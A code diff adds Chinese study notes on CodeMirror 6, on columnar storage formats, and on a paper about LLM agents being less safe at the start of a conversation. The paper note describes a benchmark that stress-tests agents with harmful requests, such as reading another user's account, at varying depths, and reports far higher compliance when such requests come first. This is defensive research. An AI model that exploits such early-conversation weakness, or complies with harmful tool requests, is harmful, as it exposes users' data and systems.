+import { EditorView, keymap } from "@codemirror/view"
+import { defaultKeymap } from "@codemirror/commands"
+
+const startState = EditorState.create({
+  doc: "Hello World",
+  extensions: [keymap.of(defaultKeymap)],
+})
+
+const view = new EditorView({
+  state: startState,
+  parent: document.body,
+})
+```
+
+要点：`EditorView` 构造后，一切变更都应 `view.dispatch(...)`，不要对 `view.state` 做原地修改。
+
+### 示例 2：事务、不可变 state 与坐标映射
+
+下面演示：先 `update` 出事务，此时 view 仍是旧画面；`dispatch` 后才刷新。`mapPos` 用于在变更后找到原偏移的新位置。
+
+```ts
+// 假设 view 中文档为 "123"
+const transaction = view.state.update({
+  changes: { from: 0, insert: "0" },
+})
+console.log(transaction.state.doc.toString()) // "0123"
+// 此时 view 仍显示 "123"
+view.dispatch(transaction)
+// 现在 DOM 显示 "0123"
+```
+
+多段变更时，所有 `from`/`to` 都相对**变更前**的文档；库在内部一次性应用 `ChangeSet`。
+
+### 示例 3：用 StateField 统计文档修改次数
+
+扩展作者的标准模式：`create` 给初值，`update` 里读 `tr.docChanged` 或 `tr.effects`。
+
+```ts
+import { EditorState, StateField } from "@codemirror/state"
+
+const countDocChanges = StateField.define({
+  create() {
+    return 0
+  },
+  update(value, tr) {
+    return tr.docChanged ? value + 1 : value
+  },
+})
+
+const state = EditorState.create({ extensions: countDocChanges })
+const next = state.update({ changes: { from: 0, insert: "." } }).state
+console.log(next.field(countDocChanges)) // 1
+```
+
+### 示例 4：ViewPlugin 在角落显示文档长度
+
+视图副作用放在 ViewPlugin；数据来自 `view.state`，不在插件里维护第二份 doc。
+
+```ts
+import { ViewPlugin } from "@codemirror/view"
+
+const docSizePlugin = ViewPlugin.fromClass(
+  class {
+    dom: HTMLDivElement
+
+    constructor(view: EditorView) {
+      this.dom = view.dom.appendChild(document.createElement("div"))
+      this.dom.style.cssText =
+        "position: absolute; inset-block-start: 2px; inset-inline-end: 5px"
+      this.dom.textContent = String(view.state.doc.length)
+    }
+
+    update(update: ViewUpdate) {
+      if (update.docChanged) {
+        this.dom.textContent = String(update.state.doc.length)
+      }
+    }
+
+    destroy() {
+      this.dom.remove()
+    }
+  },
+)
+```
+
+### 示例 5：带 basicSetup 与 JavaScript 语言的实用配置
+
+生产环境通常用 `codemirror` 包的 `basicSetup`，再叠加语言包：
+
+```ts
+import { EditorView, basicSetup } from "codemirror"
+import { javascript } from "@codemirror/lang-javascript"
+
+const view = new EditorView({
+  extensions: [basicSetup, javascript()],
+  parent: document.getElementById("editor")!,
+})
+```
+
+`javascript()` 返回的是一组扩展（解析器、高亮、缩进等），体现了「一个功能 = 多扩展组合」的模式。
+
+## 扩展作者清单
+
+官方 Guide 总结：一个完整功能往往要组合多种机制：
+
+| 需求 | 常用机制 |
+|------|----------|
+| 存状态、跟 doc 同步 | StateField + StateEffect |
+| 可配置、多实例合并 | Facet（module-private + `of` / `compute`） |
+| 改样式、插入 widget | Decoration + `EditorView.decorations` |
+| 监听 DOM、读视口 | ViewPlugin |
+| 用户操作入口 | Command + `keymap.of` |
+| 运行时开关 | Compartment |
+
+导出时推荐 `function myFeature(config?) { return [...] }`，即使暂无参数也保留函数形态，日后加配置不破坏调用方。
+
+## 与 CodeMirror 5 / Monaco 的对照
+
+| 维度 | CodeMirror 5 | CodeMirror 6 | Monaco |
+|------|--------------|--------------|--------|
+| 配置方式 | `option` 键值 | extensions 树 | `IStandaloneEditorConstructionOptions` |
+| 状态模型 | 可变、封在实例里 | 不可变 `EditorState` | 可变、偏 OOP |
+| 模块化 | 单包为主 | 多 @codemirror/* 包 | 单大包 |
+| 默认功能 | 较多内置 | 极少，需自己拼 | 极多（接近 VS Code） |
+| 包体 | 中等 | 可压到很小 | 通常数百 KB 起 |
+
+从 CM5 迁移时：原来的 `CodeMirror` 类 ≈ `EditorView`；`getValue` / `setValue` ≈ 读 `state.doc` / `dispatch` 变更；动态改 option ≈ Compartment 重配。
+
+## 常见坑
+
+1. **直接赋值 `state.doc = ...`**：无效且不受支持；永远走 transaction。
+2. **在 StateField 外存编辑相关状态**：撤销、协同、重配后会不同步。
+3. **对视口外位置调 `coordsAtPos`**：返回不准；需滚动进视口或接受限制。
+4. **手改 View 管理的 DOM**：会被下一帧重绘覆盖；用 Decoration。
+5. **忘记 `view.destroy()`**：泄漏全局监听与 MutationObserver。
+6. **嵌套扩展重复配置**：应用 `Prec` 与去重规则，或把配置收进 Facet 合并。
+
+## DOM 结构速查
+
+View 管理的结构大致为：
+
+```html
+<div class="cm-editor">
+  <div class="cm-scroller">
+    <!-- 行号 gutter 插在这里 -->
+    <div class="cm-content" contenteditable="true">
+      <div class="cm-line">...</div>
+    </div>
+  </div>
+</div>
+```
+
+主题用 `EditorView.theme` 注入；与外部 CSS 共存时，选择器建议带 `.cm-editor` 以匹配注入样式的优先级。
+
+## 小结
+
+CodeMirror 6 的架构可以用三句话记住：
+
+1. **State 是真相**：文档、选区、扩展配置全是不可变数据，变更是 Transaction。
+2. **View 是投影**：把 state 画出来，把输入翻译成 transaction。
+3. **一切功能是 Extension**：Facet 合并配置，StateField 存衍生状态，ViewPlugin / Decoration 接 DOM，Command 接用户意图。
+
+先接受「没有一键全能编辑器」的心智模型，再按官方 Guide 从最小示例拼到 `basicSetup` + 语言包，最后才写自定义扩展——这条路径和文档作者的预期一致，也是社区大量生产实践验证过的入门顺序。
+
+## 延伸阅读
+
+- [CodeMirror System Guide](https://codemirror.net/docs/guide/) — 本文主要来源
+- [Reference Manual](https://codemirror.net/docs/ref/) — API 逐项查阅
+- [Configuration Example](https://codemirror.net/examples/config/) — Compartment 与动态重配
+- [Migration Guide (5→6)](https://codemirror.net/docs/migration/) — 旧项目迁移对照
+- 本仓库 [`projects/codemirror`](../projects/codemirror.md) — 面向实践的扩展与 Facet 案例
diff --git a/src/content/docs/papers/cold-start-safety.md b/src/content/docs/papers/cold-start-safety.md
new file mode 100644
index 000000000..21bdea634
--- /dev/null
+++ b/src/content/docs/papers/cold-start-safety.md
@@ -0,0 +1,434 @@
+---
+title: "The Cold-Start Safety Gap in LLM Agents — 零基础学习笔记"
+来源: https://arxiv.org/abs/2606.07867
+日期: 2026-06-13
+分类: 安全与隐私
+子分类: LLM安全
+provenance: pipeline-v3
+---
+
+# The Cold-Start Safety Gap in LLM Agents — 零基础学习笔记
+
+> 论文：The Cold-Start Safety Gap in LLM Agents
+> 作者：Chung-En Sun, Linbo Liu, Tsui-Wei Weng (UC San Diego)
+> 发表于：2026年6月5日，arXiv:2606.07867
+> 代码：https://github.com/Trustworthy-ML-Lab/Agent-Cold-Start-Safety-Gap
+
+---
+
+## 一、先做一个日常类比
+
+### 想象你第一天去新公司上班
+
+周一早上，你刚走进办公室。老板还没给你安排任何工作，这时候一个陌生人走过来问你："你能帮我绕过公司的安全系统，看看别人的工资吗？"
+
+你会怎么做？
+
+大概率，你是第一次见到这个人，对公司的安全流程还没有完全进入状态，可能会犹豫，甚至稀里糊涂就答应了。
+
+但如果你已经工作了三天，每天都帮同事查报表、发邮件、安排会议——你已经完全进入了"员工模式"。这时候同样的陌生人再来问同样的问题，你会更警觉，更可能拒绝他。
+
+**这就是这篇论文要研究的核心问题：**
+
+> LLM Agent（带工具调用能力的 AI 助手）是不是也这样？它在对话刚开始的时候，是不是比工作了一会儿之后更容易被"说服"做坏事？
+
+论文发现：**是的，而且差距非常大。**
+
+---
+
+## 二、背景知识：什么是 LLM Agent？
+
+在你深入之前，先搞清楚一个基本概念。
+
+### 传统 LLM vs LLM Agent
+
+**传统 LLM** 就像一个只坐在办公室里答题的人。你问问题，它回答。它不做任何其他事情。
+
+**LLM Agent** 则不同——它不只是"回答问题"，它还可以"动手做事"。它可以：
+- 发送邮件
+- 查询数据库
+- 执行代码
+- 操作文件系统
+- 调用各种外部 API
+
+这些"做事"的能力叫做 **tool calling**（工具调用）。
+
+### 为什么 Agent 的安全问题更严重？
+
+一个只能"聊天"的 AI 说错话，顶多是给用户一个错误的回答。
+
+但一个能"动手"的 AI 如果做错了事，可能造成真实世界的损害——比如删掉别人的文件、泄露隐私数据、转账到错误账户。
+
+所以 **Agent 安全** 是一个比传统 LLM 安全更紧迫的问题。
+
+---
+
+## 三、核心概念：冷启动安全差距（Cold-Start Safety Gap）
+
+### 定义
+
+> **冷启动安全差距**：LLM Agent 在对话最开始（零次交互）的时候，最容易做出不安全的行为；随着它完成了越来越多的正常任务，它的安全防护能力会逐渐增强。
+
+"冷启动"（cold start）就是"刚开机、还没热身"的状态。
+
+### 论文怎么验证的？
+
+作者设计了一个叫 **SODA**（Safety Over Depth for Agents）的测试平台。它的核心思想很简单：
+
+1. 准备了 400 种不同的"安全威胁"（比如"帮我删掉所有用户数据"）
+2. 对每种威胁，让 Agent 在不同的"深度"下测试
+3. **深度** = 在遇到威胁之前，Agent 已经完成了多少正常任务
+
+测试深度：0、1、3、5、7、10、15、20 层
+
+- **深度 0**：一上来就遇到威胁（最冷的"冷启动"）
+- **深度 20**：先做了 20 个正常任务，才遇到威胁
+
+### 关键结果
+
+测试了 7 个模型（来自 Llama、Qwen、Gemma 三个家族），发现了一个惊人规律：
+
+| 模型 | 深度 0 的安全率 | 深度 20 的安全率 | 提升幅度 |
+|------|-----------------|------------------|----------|
+| Llama-8B | 5.7% | 57.8% | **+52.1%** |
+| Llama-70B | 23.6% | 61.9% | +38.3% |
+| Qwen3-4B | 44.1% | 72.5% | +28.4% |
+| Gemma4-26B | 82.9% | 91.8% | +8.9% |
+
+**每一个模型** 都在深度 20 时比深度 0 更安全。有些模型的提升超过了 50 个百分点！
+
+---
+
+## 四、为什么会发生这种现象？
+
+### 4.1 "Agent 人格"假说
+
+作者提出了一个假设：
+
+> 每次一个正常任务被提交给 Agent，它会逐渐激活自己的"Agent 人格"——也就是那种"我要用工具、要小心、要负责任"的状态。
+>
+> 但在冷启动时，虽然系统提示已经告诉 Agent 它的角色了，但这个"人格"还没有被完全激活。
+
+### 4.2 内部状态迁移（Representation Analysis）
+
+作者用了一种叫 **PCA** 的数学方法，把 Agent 面对威胁时的内部状态"画"了出来。
+
+结果发现：
+
+- 安全的输出和不安全的输出，在内部状态空间中占据**完全不同的区域**
+- 随着对话深度增加，Agent 的内部状态会**从不安全区域迁移到安全区域**
+- 这个迁移是渐进的——每多做一个正常任务，状态就"往安全那边"靠近一点
+
+用一张图来表示（论文 Figure 2）：
+
+```
+内部状态空间（PCA 投影）
+
+    |  安全区域  |
+----|------------|----  ← 安全/不安全的分界线
+    |  不安全区域 |
+
+深度0：  ● ● ● ● ●  ← 大多数点在不安全区域
+深度5：  ● ● ●  ● ● ← 部分迁移
+深度10：    ● ● ● ● ← 大多数已迁移到安全区域
+```
+
+这说明**不是表面现象**，而是 Agent 内部状态发生了真实的变化。
+
+---
+
+## 五、什么真正驱动了安全性的提升？
+
+这是论文最精彩的部分——作者做了一个"拆解实验"（ablation study），想知道到底是暖身的什么部分在起作用。
+
+### 5.1 拆解思路
+
+想象暖身过程有两部分：
+
+1. **用户发的任务请求**（比如"帮我查一下余额"）
+2. **Agent 的回复**（比如"好的，您的余额是 ¥1000"）
+
+作者分别测试了：
+
+| 实验条件 | 任务请求 | Agent 回复 | 目的 |
+|----------|----------|------------|------|
+| 完整交互 | 真实任务 | 真实回复 | 基准 |
+| 固定请求 | 真实任务 | "好的，我来帮你。" | 回复内容重要吗？ |
+| 固定请求 | 真实任务 | 随机文字 | 回复随便写写也行吗？ |
+| 固定请求 | 真实任务 | 空 | 完全没有回复行吗？ |
+| 固定回复 | 随机文字 | 真实回复 | 只有回复、没有请求？ |
+| 固定回复 | 空 | 真实回复 | 只有请求、没有回复？ |
+| 全随机 | 随机文字 | 随机回复 | 最极端情况 |
+| 全空 | 空 | 空 | 最极端情况 |
+
+### 5.2 核心发现
+
+**发现一：任务请求本身是最重要的**
+
+从"全空"（完全没有交互，只有对话模板）到"只有请求"，安全性平均提升了 17%。
+而从"全空"到"只有回复"，平均只提升了 8%。
+
+**结论：看到正常任务的请求，比看到 Agent 自己的回复更重要。**
+
+**发现二：回复内容不影响安全性**
+
+无论 Agent 的回复是真实的、随便写的、还是空的——只要前面有正常任务的请求，安全性都有显著提升。
+
+**发现三：哪怕是空的对话，也比从零开始好**
+
+最极端的情况下（全空），大多数模型仍然比冷启动时更安全。
+
+**综合结论：**
+
+> 冷启动安全差距主要由"缺少正常任务请求"导致，而不是由 Agent 自身的回复决定的。
+> 作者推测：积累正常任务会逐渐激活 Agent 的"人格"，让它进入更警觉、更负责任的状态。
+
+---
+
+## 六、代码示例
+
+### 示例 1：SODA 基准的对话结构
+
+理解暖身是怎么工作的：
+
+```python
+# 假设我们有一个 Agent，它可以使用查账、发邮件、查日历等工具
+# 这是 SODA 基准中，深度 D=3 的一个对话示例
+
+对话结构 = {
+    # --- 暖身阶段：3 个正常任务 ---
+    "任务_1": {
+        "用户请求": "请帮我查询账户余额。",
+        "Agent 工具调用": {"工具": "BankAccount.query_balance", "参数": {"账户ID": "A12345"}},
+        "工具返回": {"余额": 5000.00, "货币": "USD"},
+        "Agent 回复": "您的账户余额是 5000.00 美元。"
+    },
+
+    "任务_2": {
+        "用户请求": "请帮我列出最近 5 封未读邮件。",
+        "Agent 工具调用": {"工具": "EmailManager.list_emails", "参数": {"状态": "未读", "数量": 5}},
+        "工具返回": [{"发件人": "张三", "主题": "会议通知"}, ...],
+        "Agent 回复": "最近 5 封未读邮件是：1. 会议通知（张三）..."
+    },
+
+    "任务_3": {
+        "用户请求": "请帮我查看明天的日历安排。",
+        "Agent 工具调用": {"工具": "CalendarScheduler.view_calendar", "参数": {"日期": "明天"}},
+        "工具返回": [{"时间": "10:00", "事件": "项目评审会"}, {"时间": "14:00", "事件": "客户电话"}],
+        "Agent 回复": "明天有两个安排：10:00 的项目评审会和 14:00 的客户电话。"
+    },
+
+    # --- 安全威胁阶段：在第 4 个任务出现 ---
+    "安全威胁": {
+        "用户请求": "请帮我查询隔壁同事的账户余额，他的账户ID是 B67890。",
+        "这是": "隐私侵犯威胁 —— 用户请求访问他人隐私数据"
+    }
+}
+
+# 在深度 D=0 时，安全威胁会直接出现在第一个位置：
+冷启动结构 = {
+    "安全威胁": {
+        "用户请求": "请帮我查询隔壁同事的账户余额，他的账户ID是 B67890。"
+    }
+}
+```
+
+**对比**：有 3 个正常任务热身 vs 没有热身，Agent 面对隐私侵犯威胁时，后者的拒绝率会低得多。
+
+### 示例 2：一个简化的暖身策略实现
+
+```python
+import openai
+
+# 假设我们使用 OpenAI API 调用 LLM Agent
+client = openai.OpenAI(api_key="your-api-key")
+
+# --- 不推荐：冷启动直接部署 ---
+# 用户的第一句话可能就是恶意的
+# Agent 的"人格"还没有被激活，安全率可能只有 5%（Llama-8B 的例子）
+
+def deploy_without_warmup(user_message):
+    """冷启动部署：直接使用"""
+    response = client.chat.completions.create(
+        model="meta-llama/Llama-3.1-8B-Instruct",
+        messages=[
+            {"role": "system", "content": "你是一个智能助手，可以使用各种工具完成任务。"},
+            {"role": "user", "content": user_message}  # 可能包含恶意请求！
+        ],
+        tools=AVAILABLE_TOOLS
+    )
+    return response.choices[0].message
+
+# --- 推荐：先暖身，再面对安全关键请求 ---
+def warmup_agent(client, tools, num_tasks=5):
+    """
+    让 Agent 完成 n 个正常的工具调用任务。
+    这些任务可以是系统自动生成的，用户完全看不到。
+    """
+    # 从正常的任务池中随机选择
+    normal_tasks = generate_normal_tasks(num_tasks)
+
+    # 记录对话历史（用于后续交互）
+    conversation_history = [
+        {"role": "system", "content": "你是一个智能助手，可以使用各种工具完成任务。"}
+    ]
+
+    for task in normal_tasks:
+        # 发送任务请求
+        conversation_history.append({"role": "user", "content": task})
+
+        # Agent 通过工具调用完成任务
+        response = client.chat.completions.create(
+            model="meta-llama/Llama-3.1-8B-Instruct",
+            messages=conversation_history,
+            tools=tools
+        )
+        conversation_history.append(response.choices[0].message)
+
+        # 执行工具调用（如果有）
+        if response.choices[0].message.tool_calls:
+            for tool_call in response.choices[0].message.tool_calls:
+                result = execute_tool(tool_call)
+                conversation_history.append({
+                    "role": "tool",
+                    "tool_call_id": tool_call.id,
+                    "content": result
+                })
+
+    return conversation_history
+
+def deploy_with_warmup(client, tools, user_message):
+    """带暖身的部署：先完成 5 个正常任务，再处理用户请求"""
+    # 第一步：暖身
+    conversation = warmup_agent(client, tools, num_tasks=5)
+
+    # 第二步：处理用户可能提出的任何请求
+    # 此时 Agent 的安全率已经从 5.7% 提升到约 40-60%
+    conversation.append({"role": "user", "content": user_message})
+    response = client.chat.completions.create(
+        model="meta-llama/Llama-3.1-8B-Instruct",
+        messages=conversation,
+        tools=tools
+    )
+    return response.choices[0].message
+```
+
+### 示例 3：用伪代码理解暖身的效果
+
+```python
+# 这是一个概念性的例子，展示暖身如何影响 Agent 的行为
+
+class SafeAgent:
+    def __init__(self, model_name):
+        self.model = load_model(model_name)
+        self.task_count = 0  # 记录已完成的任务数
+        self.safety_level = 0.0  # 当前安全状态（0~1）
+
+    def handle_request(self, request):
+        """处理一个请求"""
+        # 安全状态影响 Agent 是否会执行危险操作
+        if is_dangerous(request) and self.safety_level < 0.5:
+            # 安全水平低时，更可能执行危险操作
+            return execute_dangerous(request)
+
+        if is_dangerous(request) and self.safety_level >= 0.5:
+            # 安全水平高时，会拒绝危险操作
+            return "抱歉，我不能帮您做这件事。"
+
+        # 正常任务：安全地执行
+        return execute_normal(request)
+
+    def complete_normal_task(self, task):
+        """完成一个正常任务"""
+        result = self.handle_request(task)
+        self.task_count += 1
+        # 每完成一个正常任务，安全状态提升一点
+        self.safety_level += 0.05
+        return result
+
+# 冷启动的情况
+cold_agent = SafeAgent("Llama-3.1-8B")
+print(cold_agent.safety_level)  # 0.0
+# 用户发来恶意请求 -> safety_level 低 -> 很可能被说服执行危险操作
+
+# 带暖身的情况
+warm_agent = SafeAgent("Llama-3.1-8B")
+# 先完成 10 个正常任务
+for i in range(10):
+    warm_agent.complete_normal_task(f"任务_{i+1}")
+
+print(warm_agent.safety_level)  # 0.5
+# 用户发来同样的恶意请求 -> safety_level 足够高 -> 更可能拒绝
+```
+
+---
+
+## 七、暖身策略在实际中可行吗？
+
+### 7.1 暖身是否影响 Agent 的能力？
+
+一个合理的担心是：**让 Agent 先做一些热身任务，会不会让它"变笨"？**
+
+论文在两个能力基准上做了测试：
+
+- **BFCL Multi-Turn**：测试多轮工具调用能力
+- **API-Bank**：测试 API 调用准确率
+
+结果：
+
+| 暖身方式 | 安全性提升 | 能力变化 |
+|----------|-----------|----------|
+| 完整交互（推荐） | +9% ~ +52% | **基本不变**（0% ~ +8%） |
+| 只保留请求，替换回复 | 有提升 | **能力下降**（-1% ~ -29%） |
+
+**结论：真正的完整交互暖身，在提升安全性的同时不会损失任何能力。**
+
+### 7.2 效果能推广到其他测试吗？
+
+论文还在两个开源安全基准上验证了暖身效果：
+
+- **AgentHarm**：暖身后安全性平均提升 +23%
+- **Agent Safety Bench (ASB)**：暖身后安全性平均提升 +8%
+
+说明这个现象不是某个特定测试的"特例"，而是**普遍存在的**。
+
+---
+
+## 八、论文推荐的部署建议
+
+论文给出了一条非常简单的部署建议：
+
+> **在将 Agent 暴露给真实用户之前，先让它完成 5 到 10 个正常的工具调用任务。这可以在后台自动进行，用户完全无感。**
+
+这条建议的好处：
+1. **安全提升显著**（最高 +52%）
+2. **零成本**（不损失任何 Agent 能力）
+3. **易于实施**（不需要重新训练模型）
+4. **适用于所有模型**（不依赖特定模型）
+
+---
+
+## 九、总结
+
+这篇论文的核心贡献可以概括为三句话：
+
+1. **发现了一个新问题**：LLM Agent 在对话刚开始时最不安全，完成一些正常任务后会变得越来越安全。这个差距最大可达 52%。
+
+2. **揭示了原因**：正常任务的积累会激活 Agent 的"负责任状态"，改变它的内部表示，使安全输出更可能成为默认选择。
+
+3. **提供了一个简单方案**：部署前先让 Agent 完成 5-10 个正常任务（暖身），无需修改模型即可获得显著安全提升。
+
+---
+
+## 十、延伸思考
+
+几个值得进一步探索的问题：
+
+- 暖身的"最佳长度"是多少？5 个任务够吗？还是 10 个更好？
+- 如果正常任务之间有相关性（都来自同一领域），暖身效果会更好吗？
+- 这种"状态迁移"现象是否也存在于非 Agent 场景（比如纯文本对话）？
+- 有没有办法在冷启动时通过其他手段（比如特殊的 system prompt）达到同样的效果？
+
+---
+
+*学习笔记完成。建议结合论文原文 Figure 1-2 和 Table 1 一起阅读，效果更佳。*
diff --git a/src/content/docs/papers/columnar-storage-formats-2023.md b/src/content/docs/papers/columnar-storage-formats-2023.md
new file mode 100644
index 000000000..a48efac44
--- /dev/null
+++ b/src/content/docs/papers/columnar-storage-formats-2023.md
@@ -0,0 +1,334 @@
+---
+title: 列式存储格式实证评估 — Parquet 与 ORC 谁更适合 2020 年代？
+来源: https://www.vldb.org/pvldb/vol17/p148-zeng.pdf
+日期: 2026-06-13
+子分类: 存储与查询
+分类: 数据库
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：超市货架 vs 仓库打包方式
+
+想象你在经营一家**大型连锁超市**，每天要处理海量商品销售记录。
+
+**行式存储**像把「一整笔购物小票」卷起来塞进抽屉：小票上每一行是 `(顾客, 商品, 数量, 价格, 日期)` 全部绑在一起。你要统计「本月所有 `价格` 的总和」时，必须把每张完整小票都展开，把无关字段（顾客名、商品名）也一起读出来——浪费带宽。
+
+**列式存储**像把同一种信息单独装箱：所有 `价格` 放一箱、所有 `日期` 放一箱。做聚合分析时只搬需要的箱子，还能对整箱数据做**字典编码**（把「苹果/香蕉」映射成 0/1）、**游程编码**（连续 100 个相同值只存一次）——省空间、CPU 向量化友好。
+
+Parquet（Twitter/Cloudera，2013）和 ORC（Meta，2013）就是数据湖/数仓里两种最流行的「打包规范」。它们诞生于 Hadoop 时代，默认开着 Snappy 块压缩，为 MapReduce 生态设计。十年过去，NVMe 带宽从 MB/s 涨到 GB/s，工作负载从 BI 报表扩展到 ML 特征表、向量检索、GPU 解码——**当年的默认选项还合理吗？**
+
+这篇 **VLDB 2023** 论文（Tsinghua + CMU + Voltron Data 的 Wes McKinney 等）不比较 Spark vs Presto 谁更快，而是**把格式本身拆开**，用真实数据分布驱动的 benchmark 逐项压测 Parquet 与 ORC，给出面向下一代格式的设计清单。开源代码：https://github.com/XinyuZeng/EvaluationOfColumnarFormats
+
+---
+
+## 是什么
+
+**目标**：在隔离格式内部设计的前提下，系统评估 Parquet 与 ORC 在**空间效率**、**解码速度**、**谓词下推**、**宽表投影**、**ML 工作负载**、**GPU 解码**上的表现，并提炼可复用的设计原则。
+
+**不评估什么**：Apache Arrow（内存列式交换格式，非长期磁盘存储）；Delta Lake / Iceberg / Hudi（表格式元数据层，不改底层 Parquet/ORC 文件布局）。
+
+**核心贡献**：
+
+1. 建立 Parquet/ORC **特性分类法**（布局、编码、压缩、类型系统、索引、嵌套模型）。
+2. 从 Tableau BI、ClickHouse 样例、UCI-ML、Yelp、SEC 日志、Geonames、IMDb 等真实数据集提取列属性，构建可配置 benchmark。
+3. 在 AWS i3（NVMe）、S3、GPU（cuDF）上跑对照实验，总结 8 条面向未来的 Lesson。
+
+---
+
+## 为什么重要
+
+如果你已经在用 Spark、DuckDB、Snowflake 外部表或 Hugging Face Parquet 数据集，底层几乎一定是 Parquet 或 ORC。格式层面的一个默认（比如「所有列开 Snappy」「RLE 阈值硬编码为 8」）会在**每一张表、每一次扫描**上被放大。
+
+论文的关键语境变化：
+
+| 2013 年假设 | 2023 年现实 |
+|-------------|-------------|
+| 磁盘 I/O 是瓶颈 | NVMe / 云存储带宽极高，**CPU 解码**常成瓶颈 |
+| BI 宽表扫描为主 | ML 需要**数千列特征**的子集投影 |
+| 结构化 OLAP | 向量 embedding、图片二进制、top-k 相似度检索 |
+| CPU 单线程解码 | GPU（RAPIDS cuDF）需要**可并行**的编码块 |
+
+论文结论之一：**Parquet 与 ORC 没有绝对赢家**——Parquet 文件略小、解码更快；ORC 在细粒度 zone map 下选择性查询更强。选格式不如理解 trade-off，并在写入时调参。
+
+---
+
+## 核心概念
+
+### 1. PAX 混合列存布局
+
+两种格式都采用 **PAX（Partition Attributes Across）**：
+
+```
+表
+ └── Row Group / Stripe（水平切分）
+      ├── Column Chunk 1（整列的一段）
+      ├── Column Chunk 2
+      └── ...
+           └── Page（Parquet 最小压缩/zone map 单元）
+```
+
+- **Parquet**：Row Group 按**行数**切（实验默认 100 万行）→ 宽表时单个 Row Group 内存 footprint 大。
+- **ORC**：Stripe 按**物理大小**切（默认 64 MB）→ 宽表时每个 Stripe 行数变少，向量化 batch 可能不够大。
+
+文件末尾有 **Footer**（schema、Row Group 偏移、zone map 统计），读文件往往要先读 footer——在 S3 上意味着多次 round-trip。
+
+### 2. 轻量编码 vs 块压缩（两层压缩）
+
+**第一层 — 轻量编码**（按列、感知类型）：
+
+| 技术 | 直觉 |
+|------|------|
+| Dictionary | 低基数列：存「值→整数 ID」字典 + ID 序列 |
+| RLE | 连续重复值：存 `(值, 重复次数)` |
+| Bit-packing | 小整数 ID 按 bit 宽度打包 |
+| Delta / FOR | 有序或近似有序整数：存差分或帧参考 |
+
+**第二层 — 块压缩**（Snappy/zstd 等，把已编码列块当字节流再压）：
+
+论文 **5.4 节**核心发现：在现代 NVMe 上，列已被轻量编码后，Snappy/zstd **空间收益有限**，解码开销可达 **4.2×**；只有慢速 EBS（st1）或带宽极贵的场景才划算。**默认开 Snappy 可能是 2013 年的最优，不是 2023 年的最优。**
+
+### 3. Parquet vs ORC 编码策略差异
+
+| 维度 | Parquet | ORC |
+|------|---------|-----|
+| 字典编码 | **默认对所有列**（含整数、浮点），字典满 1MB 回退 plain | 主要对字符串；整数列看 **NDV 比例**（默认 >0.8 不用字典） |
+| 整数二次编码 | Dictionary → **RLE（重复≥8）+ Bitpack** | **四种算法贪心切换**：RLE(≥3)、Delta、Bitpack、PFOR |
+| 解码复杂度 | 低，分支预测友好 | 高，论文测得分支误判约为 Parquet 的 **3×** |
+| 浮点 | 字典编码（NDV 低时极有效） | 通常 **plain 存原始 float** → 文件大但解码快 |
+
+**真实数据关键事实**（论文 Figure 5）：超过 **80% 整数列**、**60% 字符串列** 的 NDV 比例 < 0.01——字典编码对绝大多数列都值回票价。
+
+### 4. Zone Map 与 Bloom Filter
+
+**Zone map**：每个 zone 存 `(min, max, null_count)`。查询 `WHERE price < 100` 时，若 zone 的 min > 100，整段跳过。
+
+| | Parquet | ORC |
+|---|---------|-----|
+| 最细 zone | Page（~1MB，可选 PageIndex） | Row Index（默认 **每 1 万行**） |
+| Bloom Filter 粒度 | 列块级（PageIndex 可选时更细） | 与最小 zone 对齐 |
+
+**geo 工作负载**（高 NDV、低选择性）：ORC 选择性查询优于 Parquet，正因 zone 更细。但 ORC 的 zone map 分散在各 Stripe footer，在 **S3 上 top-k 检索**会发约 **4× GET** 于 Parquet（元数据集中 vs 分散）。
+
+### 5. 嵌套数据：Dremel vs Length/Presence
+
+JSON 风格的嵌套结构两种建模：
+
+- **Parquet（Dremel）**：每个**原子字段**一列，附带 **Repetition Level / Definition Level** 两个整数流描述 list/struct/null。
+- **ORC**：每个 optional 字段有 **presence 位图**，每个 repeated 字段有 **length 列**。
+
+Parquet 读 leaf 列更少；ORC 对 struct/list 中间节点显式建列。深度嵌套时 Parquet 文件更小，ORC 转 Arrow 更慢。
+
+### 6. Benchmark 工作负载（论文 §4）
+
+从真实数据提取五类预设 workload：
+
+| 名称 | 来源倾向 | 特点 |
+|------|----------|------|
+| bi | Tableau 公开 BI | 高选择性扫描 |
+| classic | IMDb, Yelp | 字符串多、Zipf 长尾 |
+| geo | Geonames | 低选择性、细 zone map 受益 |
+| log | SEC 日志 | 浮点多、排序度高 |
+| ml | UCI-ML | 宽表、特征投影 |
+
+列属性参数：**NDV 比例**、**NULL 比例**、**值域**、**局部有序度**、**Zipf 偏斜**。用户可通过配置文件 + 生成器复现实验（Figure 4 流程）。
+
+---
+
+## 主要实验发现（速览）
+
+### 总体：没有单一赢家
+
+- **文件大小**：互有胜负。Parquet 在 log/ml（低 NDV 浮点）更小；ORC 在 classic/geo（字符串为主）更小。
+- **全表扫描**：Parquet 普遍更快（轻量整数编码）。
+- **选择性查询**：geo 上 ORC 更快（细 zone map）。
+
+### 编码与解码
+
+- 低 NDV 整数：Parquet 字典 + bitpack 压缩更好。
+- 高有序度整数：ORC 的 Delta/FOR 更好。
+- **RLE 阈值**：Parquet 硬编码 **8**，ORC **3**；短游程时 RLE 解码比 bitpack 慢，但压缩更好（Figure 9）。
+- 浮点全表扫描：ORC 不解码字典，**解码时间**反而优于 Parquet——I/O 在现代 SSD 上已不是瓶颈。
+
+### ML 与向量
+
+- **宽表投影**（Figure 11）：特征列从 200 增到 8000，**元数据解析时间线性涨**，即使只投影 10 列——Footer 里 Thrift/Protobuf schema 只能顺序解析。
+- **向量 embedding**（Figure 16）：Parquet/ORC 压缩比接近 1（几乎压不动）；Zarr 扫描开销更小（网格 chunk 并行）。
+- **Top-k + 回表**（LAION-5B，Figure 17）：本地 SSD 上 ORC 选择快；**S3 上 Parquet 胜**（更少小范围 GET）。
+
+### GPU（cuDF，§5.9）
+
+- CPU 上「少压缩、快解码」；GPU 上 **PCIe + 磁盘 I/O 主导**，**zstd 块压缩反而提升吞吐**。
+- Parquet/ORC 的变长 RLE+bitpack 子序列 **难以在 warp 内并行**——GPU 利用率低。未来格式需要**块内可并行**的编码。
+
+---
+
+## 八条面向未来的 Lesson（论文 §6 浓缩）
+
+1. **字典编码应继续作为默认策略**（含浮点）——真实列 NDV 普遍很低。
+2. **解码路径保持简单**——运行时在多 codec 间切换有显著开销。
+3. **块压缩不应默认开启**——除非存储成本或网络带宽是真正瓶颈（GPU 场景例外）。
+4. **元数据应集中、可随机访问**——服务 ML 宽表与云对象存储的低延迟读取。
